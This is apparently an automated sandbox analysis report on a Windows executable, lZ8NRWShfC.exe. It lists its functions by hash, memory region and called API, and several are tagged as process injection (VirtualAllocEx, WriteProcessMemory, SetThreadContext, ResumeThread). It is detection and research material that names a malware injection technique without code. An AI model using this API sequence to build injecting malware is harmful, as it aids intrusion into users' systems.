Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8dccf05100cd25ca485a12cd88c971b1f94a5ced2cad1d594dfedb9992e4f06b
Instruction ID: 9df7ae3001d8f05d16f8a9c34a27840f9a59a5a04feaaab8758504935f0bbac3
Opcode Fuzzy Hash: 8dccf05100cd25ca485a12cd88c971b1f94a5ced2cad1d594dfedb9992e4f06b
Instruction Fuzzy Hash: 2C41D2B0C00719CADB24DFA9D884BDEBBB5BF49304F60805AD809AB251DB75694ACF90

Function 02D0590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D059C9

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: fc97b4f6c3992711b0cf7fc22719cd90a0317117373817e634fa176c4ff79c73
Instruction ID: 33aa8321794699c1a67ae51cb92fccf872d06831e48eef595d9769f0ddf11177
Opcode Fuzzy Hash: fc97b4f6c3992711b0cf7fc22719cd90a0317117373817e634fa176c4ff79c73
Instruction Fuzzy Hash: 5C41E5B0C00719CFDB24DFA9D8847DDBBB5BF45304F60806AD409AB255DB75694ACF50

Function 04F116B8 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 04F11750

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3aae3fb2de585d49f14609c469f9c6d60b982f9a73f71960d51413c162fea19b
Instruction ID: c27950329bec66020cae606116d6f8986c781db58cd15b9363ba6c979eacb48b
Opcode Fuzzy Hash: 3aae3fb2de585d49f14609c469f9c6d60b982f9a73f71960d51413c162fea19b
Instruction Fuzzy Hash: 222124B59003098FDB10CFA9C9857DEBBF1BF48310F10842AE919A7251D7789A45DB60

Function 04F116C0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 04F11750

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4229c06fd4c7b3124420879f60636496e591536fc38b5db7ee409ea9efa06faa
Instruction ID: 0347dc84bda6400d7f32dbf8793f9e78ffcbc56483349b0d50b03fa283678e75
Opcode Fuzzy Hash: 4229c06fd4c7b3124420879f60636496e591536fc38b5db7ee409ea9efa06faa
Instruction Fuzzy Hash: 202157B19003099FDB10DFA9C885BDEBBF5FF48310F108429E919A7341C778A945CBA4

Function 04F117A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 04F11830

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: fb61d8a09b215ac832d482dce748a31623f0680d141a7a6d06547b880b890012
Instruction ID: ffa8df2314f5b759dcbc8d8786f6352a4dfa99215bd7cb9e9dc5165a10b267f6
Opcode Fuzzy Hash: fb61d8a09b215ac832d482dce748a31623f0680d141a7a6d06547b880b890012
Instruction Fuzzy Hash: FB2125B1C003098FDB10DFA9C9857EEBBF5FF48320F10842AE919A7251D7349945DBA1

Function 04F110EA Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04F1116E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c7178394c1f5af679598a11ae8811fa98a1ff633ac6bd257116856301b477fb5
Instruction ID: dc7e02c71a1326751591ae10697152b42e7174df8330df1379e94b40c9bf18eb
Opcode Fuzzy Hash: c7178394c1f5af679598a11ae8811fa98a1ff633ac6bd257116856301b477fb5
Instruction Fuzzy Hash: A12159B1D003098FDB10DFAAC5857EEFBF5AF48314F108429D519A7241DB789946CB54

Function 04F117B0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 04F11830

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4c0748362be391d0fbbc7b56e7b3c60acd4ca039b3ce93bb9d4e3d4c4eff90a6
Instruction ID: 01c4ceefe5caaf5a10e8e313fa1d46b38d8387a5db7a7006b92da9aff0f12995
Opcode Fuzzy Hash: 4c0748362be391d0fbbc7b56e7b3c60acd4ca039b3ce93bb9d4e3d4c4eff90a6
Instruction Fuzzy Hash: F92139B1C003499FCB10DFAAC885ADEFBF5FF48320F508429E519A7251C734A955DBA5

Function 04F110F0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04F1116E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: dda82b9e5468783cd01d15a1c73a353d7268016cbb6a81db474f804dbc3b9f27
Instruction ID: 8eb723d30d758a6a7f9ebb24528bd630143b406df50316ce5ba4dc0f483fcf9c
Opcode Fuzzy Hash: dda82b9e5468783cd01d15a1c73a353d7268016cbb6a81db474f804dbc3b9f27
Instruction Fuzzy Hash: F82137B19003098FDB10DFAAC4857EEFBF4EB88324F108429D519A7281CB78A945CBA5

Function 02D0D690 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02D0D717

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: feea38b488993c24bd676fcf6b1a86de4839e246e364f283f1e447683895921e
Instruction ID: 9cc8c1b025d36ca63ce8781eadf36dd04edbf1d6c3d0e396c68f30d1fa7fe634
Opcode Fuzzy Hash: feea38b488993c24bd676fcf6b1a86de4839e246e364f283f1e447683895921e
Instruction Fuzzy Hash: 6A21E2B59002489FDB10CFAAD984ADEFBF9EB48320F14801AE919A3351C374A954CFA5

Function 02D0D689 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02D0D717

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c72541e8eeb64f8ca31801bf52ec3f7bf7be0fda92e783ecacb77e4a4959bd08
Instruction ID: 8418cfc5282ba650a4007f72e4ba090a2a4cebdfba350b5827ae0d642553e8d7
Opcode Fuzzy Hash: c72541e8eeb64f8ca31801bf52ec3f7bf7be0fda92e783ecacb77e4a4959bd08
Instruction Fuzzy Hash: 8821E0B59002089FDB10CFA9D984AEEBBF5EB48324F24841AE959B3351C378A955DF60

Function 02D0A130 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,02D0B079,00000800,00000000,00000000), ref: 02D0B28A

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 99c5772817419f0c2de0aa095024a0992e17b685a6a0019e9669d9aeccdfc1c6
Instruction ID: d518cadf4d83695b60aa6e2ca47e90788da225515b776901888f2b0684f41b14
Opcode Fuzzy Hash: 99c5772817419f0c2de0aa095024a0992e17b685a6a0019e9669d9aeccdfc1c6
Instruction Fuzzy Hash: 2A1103B69043089FCB10CFAAC488BDEFBF4EB88314F10842AD519A7350C375A945CFA5

Function 04F115F9 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 04F1166E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: de26c2981ede14782a5a8104ebee6abd07d144fb07b0095e7b8c7dfdac5fbeb3
Instruction ID: 3f646ebababec6bc48629bdc0633aa3f3918fd34c0927210484bbbd28c4123cb
Opcode Fuzzy Hash: de26c2981ede14782a5a8104ebee6abd07d144fb07b0095e7b8c7dfdac5fbeb3
Instruction Fuzzy Hash: 991156B69002098FCB10DFA9C9457DEBBF5EF88320F24841AD519A7250C735A945DBA0

Function 02D0B219 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,02D0B079,00000800,00000000,00000000), ref: 02D0B28A

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 92663b85dece7ec61e5f083d819cade69f82ee6a6b9d45d81366c329dbeb975a
Instruction ID: 98e5d900eed3bd41f30fcfee3e9f3eb8d06d5f2aa9f611fb8bbeb2c60bc3b2d2
Opcode Fuzzy Hash: 92663b85dece7ec61e5f083d819cade69f82ee6a6b9d45d81366c329dbeb975a
Instruction Fuzzy Hash: 401112B69042498FCB10DFAAC488BDEFBF4EB89314F10842ED569A7350C375A945CFA5

Function 04F11600 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 04F1166E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 96d0e13c713375e918cd5bf1ec1cb33bc6382a0b35978a98c675616dec624813
Instruction ID: 290e0fefb80a9ac2ed3dab0464eed2c08f825b54a275c2ac3916b82f763177da
Opcode Fuzzy Hash: 96d0e13c713375e918cd5bf1ec1cb33bc6382a0b35978a98c675616dec624813
Instruction Fuzzy Hash: 7E1153B18002088FCB10DFAAC844ADFFBF5EB88320F248419E519A7290CB35A945CBA5

Function 04F11038 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(0000009C), ref: 04F110A2

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f747c86d4f72593fc3b66d46c99984ea8b54ea06168f027600290cf0b41c5151
Instruction ID: 1433f05d994a3965c067681489afbe2fbea3c0327ab7751517ad2b1c133045f8
Opcode Fuzzy Hash: f747c86d4f72593fc3b66d46c99984ea8b54ea06168f027600290cf0b41c5151
Instruction Fuzzy Hash: 3F1188B1D002498FDB20DFAAC5457DEFBF5EF88324F24841AC119A7250CB39A545CB95

Function 04F11040 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(0000009C), ref: 04F110A2

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 629f92fe2ce908b46b2d1a7118628f827e02ae1047d8107542aba5d60408494e
Instruction ID: d4c799a394121e42b8a8fba726d4847d3569f15a96fa222cc1d91e908c643267
Opcode Fuzzy Hash: 629f92fe2ce908b46b2d1a7118628f827e02ae1047d8107542aba5d60408494e
Instruction Fuzzy Hash: AA1125B1D003488FDB20DFAAC4457DFFBF5EB88324F24841AD519A7290CA75A945CBA5

Function 04F14430 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04F161E5

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ef77960d975c870abf05519e0a5aac0dffd495bac0087966ea082d4ca2b3c583
Instruction ID: 53b6ceb57773c5ff231aa251cd645e680c734b4def06304d28eb27e9a9f0f556
Opcode Fuzzy Hash: ef77960d975c870abf05519e0a5aac0dffd495bac0087966ea082d4ca2b3c583
Instruction Fuzzy Hash: A71122B58003499FDB10DF8AC888BDEFBF8EB48720F10841AE919A3251C375A944CFA5

Function 04F16180 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04F161E5

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6dd3af774a2a105e6f685bce73446326a2694da026c26118636ed44250ba7a9a
Instruction ID: 353d6d521ac0e08ba190bc8f715ff00056a29da13ae353753457ad9e3fbddaf7
Opcode Fuzzy Hash: 6dd3af774a2a105e6f685bce73446326a2694da026c26118636ed44250ba7a9a
Instruction Fuzzy Hash: 4E11F2B58002498FDB10DF99D889BDFBBF4EB48321F20841AE519A7251C375A945CFA1

Function 02D0AF98 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02D0AFFE

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3f598152fced1dd7e332ae5192ebb35a892b29d7514c84ea00094a31dc44e1fa
Instruction ID: e6f3d4d53571402b120f220e6c83a158d9a6f6acb08e226785f6e5a098a5c100
Opcode Fuzzy Hash: 3f598152fced1dd7e332ae5192ebb35a892b29d7514c84ea00094a31dc44e1fa
Instruction Fuzzy Hash: 7E110FB6C007498FCB20CF9AC484B9EFBF4AB88324F20841AD529A7350C375A945CFA1

Function 02CAD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760419322.0000000002CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cad000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e69d2ba458cf8cfbdb372963a580effb1590cf6b305923635e1d106b104e6dc
Instruction ID: 58d53c06380eedb6ad1ff33c3327ff9182c49fb4e247f1d86a1f86c2e23cde34
Opcode Fuzzy Hash: 5e69d2ba458cf8cfbdb372963a580effb1590cf6b305923635e1d106b104e6dc
Instruction Fuzzy Hash: 5F2148B1500305DFDB09DF04C9C4B16BF65FB98328F20C568E80B0B656C336E456CBA1

Function 02CBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760476754.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cbd000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df73c77eaaf30369f912d5b49ddbb1d9c0666b87ebc2639d0f04d19da8fa565
Instruction ID: 5a8335bedf0b4a206d343e4d443e799ec2d7df6522f059e423603e80ebefb8fc
Opcode Fuzzy Hash: 2df73c77eaaf30369f912d5b49ddbb1d9c0666b87ebc2639d0f04d19da8fa565
Instruction Fuzzy Hash: 9321D375604200DFDB16DF14E9C4B56BBA5EF84314F24C569D80B4B246C33AD407CAA1

Function 02CBD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760476754.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cbd000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a43b2ee14c96ecfc1fe5da181294576664a6446eb5bd52778ecaba36abd9c5b
Instruction ID: 37a425fdbb709e6246f0136d42a1a110f9be1a8ffedbbaf91d551a2d12fe238f
Opcode Fuzzy Hash: 8a43b2ee14c96ecfc1fe5da181294576664a6446eb5bd52778ecaba36abd9c5b
Instruction Fuzzy Hash: BF21C575A04244EFDB06DF14D9C4B65BBA5FF84314F24C6ADE90B4B252C336D846CB62

Function 02CBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760476754.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cbd000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9ccd2dc47a5dba739f5979fab5f22b3b9bff039b4cdf1a9cc7fb6d71a56184
Instruction ID: 4fd11827d368ea911afbed819cbc9776fb379875324549ce45f8a9536529e46b
Opcode Fuzzy Hash: 8e9ccd2dc47a5dba739f5979fab5f22b3b9bff039b4cdf1a9cc7fb6d71a56184
Instruction Fuzzy Hash: 572180755093808FCB03CF24D594755BF71EF86214F28C5DAD84A8B2A7C33A980ACBA2

Function 02CAD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760419322.0000000002CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cad000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 6831dea7b323619c9497a7d56ace0282bc371723e9873f9ac5f8a79b43e1fe4c
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 80110376504241CFDB06CF00D5C4B16BF72FB84328F24C2A9D80A0B656C33AE55ACBA1

Function 02CBD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760476754.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cbd000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: dc2c5f2ea5c5c3a2ddcded99723d0a84af2d926dff3f3e48504026e96013ece9
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 8E11BB75904280DFCB02CF10C5C4B15BBB2FF84224F24C6ADD84A4B296C33AD84ACB62

Non-executed Functions

Function 04F111C8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7484768ba0e4a90fe771bf9632d22813d75c819b6285eb81b65685b2fd824f76
Instruction ID: b5f1e1fb605268da752631b2d81bf5d9501f8066832e6d08ddeafac9412cb9c4
Opcode Fuzzy Hash: 7484768ba0e4a90fe771bf9632d22813d75c819b6285eb81b65685b2fd824f76
Instruction Fuzzy Hash: A9E10974E011198FCB15DFA9C6809AEFBF2FF89304F248169D515AB365D730A942CFA1

Function 02D0D5BC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3549ce82407fcabdcf7b595eb097c14706afc42236897fca124c2a4a940acbbc
Instruction ID: d8a48e295cb228675bae70e830379e90abcb1a2a1e8712cc8f0e58b385cc0b25
Opcode Fuzzy Hash: 3549ce82407fcabdcf7b595eb097c14706afc42236897fca124c2a4a940acbbc
Instruction Fuzzy Hash: A1A15D32E002058FCF25DFA4C8806AEB7B2FF85304B25456AE805AB3A1DF71ED15CB90

Function 04F111B8 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7923ea7bcf5a72f2d77f011e19f660ebfd2645bb7d78a76bfee497f678adac75
Instruction ID: ef0e00d9964c95e2881900ca19112d91482039f316c0f4905a73957126e7f77b
Opcode Fuzzy Hash: 7923ea7bcf5a72f2d77f011e19f660ebfd2645bb7d78a76bfee497f678adac75
Instruction Fuzzy Hash: 33510B74E012198BDB15DFA9C6805AEFBF2BF89304F24C169D518AB316D731A942CFA1

Analysis Process: lZ8NRWShfC.exePID: 7216, Parent PID: 6884COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 063B1550 Relevance: 23.9, Strings: 18, Instructions: 1413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D[, xrefs: 063B180E
L\, xrefs: 063B1666
D[, xrefs: 063B1857
d\, xrefs: 063B17AA
XZ, xrefs: 063B1E79
@Z, xrefs: 063B1C27
pZ, xrefs: 063B238B
(Z, xrefs: 063B1B65
T], xrefs: 063B173E
|\, xrefs: 063B1708
Y, xrefs: 063B263B
$], xrefs: 063B1945
D[, xrefs: 063B19FB
Z, xrefs: 063B22B7
l], xrefs: 063B1977
<], xrefs: 063B169C
D[, xrefs: 063B1841
D[, xrefs: 063B1A05

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: $]$(Z$<]$@Z$D[$D[$D[$D[$D[$L\$T]$XZ$d\$l]$pZ$|\$Y$Z
API String ID: 0-3530822873
Opcode ID: 5263c6fde7f4db3c22bdaf43659e8167ef80d97f418acd362f4e80348e7adfa2
Instruction ID: f40bb6b2a38f9b3a60a35ce09627adff3a16d92dd902b1b14fba93cdbe00b615
Opcode Fuzzy Hash: 5263c6fde7f4db3c22bdaf43659e8167ef80d97f418acd362f4e80348e7adfa2
Instruction Fuzzy Hash: F3C23074B006189FCB14DB54C891EEEBBB6FF88700F508095E609AB7A1DB71AD85CF91

Function 063B056A Relevance: 4.2, Strings: 3, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ta, xrefs: 063B05B6
la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: Ta$la$a
API String ID: 0-3399653266
Opcode ID: e4781de3164e41da807018f58891de60203b9bccf5f7b922e40880d5309c786e
Instruction ID: db8f246009c2fc9d53ca1125d1958476c8b304e8a3be1d07ab76568aa49de5fa
Opcode Fuzzy Hash: e4781de3164e41da807018f58891de60203b9bccf5f7b922e40880d5309c786e
Instruction Fuzzy Hash: CF027A30B007249FCB149F68D441AAE7BF6FF85705F009948E606AF7A5CBB5E9458BC2

Function 063B05E0 Relevance: 4.2, Strings: 3, Instructions: 428
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

la, xrefs: 063B02F2
$a, xrefs: 063B062C
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: $a$la$a
API String ID: 0-2993436324
Opcode ID: 7363378301524e78f5efcca4c1575473e29057912addb56b79bb775c59f4c1d7
Instruction ID: f45a39ebdb37e27184b89c9687f72cb7b2ec7bbc642578a51aab89aebeb27b73
Opcode Fuzzy Hash: 7363378301524e78f5efcca4c1575473e29057912addb56b79bb775c59f4c1d7
Instruction Fuzzy Hash: 9B027A30B003149FCB149F68C841AAE7BF6FF85705F109949E606AF7A5CBB5E9458BC2

Function 063B0656 Relevance: 4.1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<a, xrefs: 063B06A2
la, xrefs: 063B02F2
a, xrefs: 063B04C5

Memory Dump Source

Source File: 00000008.00000002.1890939572.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_63b0000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID: <a$la$a
API String ID: 0-2827948075
Opcode ID: e774dcbc42d2d2a718fd72b4306e369fd381f458347da7958a3f7cbf8aec55c3
Instruction ID: f6b6339f3f5789a6bfb8dffeca6e839c62bf4f2488102874aace279f5e64fac5
Opcode Fuzzy Hash: e774dcbc42d2d2a718fd72b4306e369fd381f458347da7958a3f7cbf8aec55c3
